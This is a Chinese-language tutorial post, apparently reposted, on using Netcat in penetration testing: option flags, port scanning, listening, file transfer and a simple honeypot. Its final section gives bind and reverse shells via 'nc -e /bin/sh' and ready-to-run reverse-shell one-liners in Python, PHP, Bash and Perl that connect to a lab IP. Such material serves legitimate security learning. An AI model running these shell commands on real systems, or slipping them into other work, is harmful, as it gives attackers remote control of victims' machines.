netcat使用


前言

最近在做滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程中自己對Netcat這一款神器有了新的認識,現將一些Netcat的用法做一個小總結,希望對各位有幫助!

Netcat簡介

Netcat是一款非常出名的網絡工具,簡稱“NC”,有滲透測試中的“瑞士軍刀”之稱。它可以用作端口監聽、端口掃描、遠程文件傳輸、還可以實現遠程shell等功能。總之功能強大,可以用一句較為風趣的話來描述NC的強大——“你的想象力是局限NC的瓶頸”。

Netcat選項參數說明

最近在做滲透測試的時候遇到了端口監聽和shell的反彈問題,在這個過程中自己對Netcat這一款神器有了新的認識,現將一些Netcat的用法做一個小總結,希望對各位有幫助!

 

功能說明:端口掃描、端口監聽、遠程文件傳輸、遠程shell等等;

語  法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]

參  數:

-g <網關> 設置路由器躍程通信網關,最多可設置8個;

 -G <指向器數目> 設置來源路由指向器,其數值為4的倍數;

 -h 在線幫助; 

-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口;

 -l 使用監聽模式,管控傳入的資料;

 -n 直接使用IP地址,而不通過域名服務器;

 -o <輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存;

 -p <通信端口> 設置本地主機使用的通信端口;

 -r 亂數指定本地與遠端主機的通信端口;

 -s <來源位址> 設置本地主機送出數據包的IP地址;

 -u 使用UDP傳輸協議;

 -v 顯示指令執行過程;

 -w <超時秒數> 設置等待連線的時間;

 -z 使用0輸入/輸出模式,只在掃描通信端口時使用。

Netcat簡易使用

連接到遠程主機

 

命令:nc  -nvv Targert_IP  Targert_Port

 

連接到遠程主機

監聽本地主機

 

命令:nc  -l  -p Local_Port

 

監聽本地主機

端口掃描

掃描指定主機的單一端口是否開放

 

格式:nc  -v  target_IP  target_Port

 

端口掃描

掃描指定主機的某個端口段的端口開放信息

 

格式:nc  -v  -z  Target_IP   Target_Port_Start  -  Target_Port_End

 

端口掃描

掃描指定主機的某個UDP端口段,並且返回端口信息

 

格式:nc -v   -z  -u  Target_IP  Target_Port_Start   -   Target_Port_End

 

端口掃描

掃描指定主機的端口段信息,並且設置超時時間為3秒

 

格式:nc  -vv(-v) -z  -w  time Target_IP   Target_Port_Start-Targert_Port_End

 

端口掃描

端口監聽

監聽本地端口

 

格式:nc  -l  -p  local_Port

 

端口監聽

端口監聽

端口監聽

注:先設置監聽(不能出現端口沖突),之后如果有外來訪問則輸出該詳細信息到命令行

監聽本地端口,並且將監聽到的信息保存到指定的文件中

 

格式:nc -l -p local_Port > target_File

端口監聽

端口監聽

端口監聽

連接遠程系統

 

格式:nc Target_IP  Target_Port

 

連接遠程系統

之后可以運行HTTP請求

連接遠程系統

FTP匿名探測

 

格式:nc Targert_IP  21

 

連接遠程系統

文件傳輸

傳輸端:

 

格式:nc  Targert_IP  Targert_Port  <  Targert_File

 

連接遠程系統

連接遠程系統

接收端:

 

格式:nc   -l  Local_Port  >  Targert_File

 

連接遠程系統

連接遠程系統

簡易聊天

本地主機

命令:nc   -l   8888

簡易聊天

遠程主機

命令:nc Targert_IP    Targert_Port

簡易聊天

蜜罐

作為蜜罐使用1:

命令:nc -L -p  Port

注:使用“-L”參數可以不停的監聽某一個端口,知道Ctrl+C為止

作為蜜罐使用2:

命令:nc -L -p  Port >log.txt

注:使用“-L”參數可以不停的監聽某一個端口,知道Ctrl+C為止,同時把結果輸出到log.txt文件中,如果把“>”改為“>>”即追加到文件之后。

這一個命令參數“-L”在Windows中有,現在的Linux中是沒有這個選項的,但是自己可以去找找,這里只是想到了之前的這個使用,所以提出來簡單介紹一下!

獲取shell

簡述:獲取shell分為兩種,一種是正向shell,一種是方向shell。如果客戶端連接服務器端,想要獲取服務器端的shell,那么稱為正向shell,如果是客戶端連接服務器,服務器端想要獲取客戶端的shell,那么稱為反向shell

正向shell

本地主機:

命令:nc   Targert_IP  Targert_Port 

本地主機

目標主機:

命令:nc  -lvp  Targert_Port   -e  /bin/sh  

目標主機

反向shell

本地主機:

命令: nc -lvp  Target_Port

本地主機

目標主機:

命令: nc  Targert_IP Targert_Port  -e /bin/sh

目標主機

特殊情況——目標主機上沒有Netcat,如何獲取反向shell

在一般情況下,目標主機上一般都是不會有Netcat的,此時就需要使用其他替代的方法來實現反向鏈接達到攻擊主機的目的,下面簡單的介紹幾種反向shell的設置。

python反向shell

目標主機端執行語句:

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

本地主機

本地主機

目標主機

目標主機

PHP反向shell

目標主機端執行語句:

 

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

本地主機:

 

本地主機

目標主機:

目標主機

Bash反向shell

目標主機端執行語句:

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

本地主機:

本地主機

目標主機:

目標主機

Perl反向shell

目標主機端執行語句:

 

 

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

本地主機

 

本地主機

目標主機

 

目標主機

注:書寫的時候一定要注意這里單引號、雙引號是英文格式的,不然會報錯誤!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM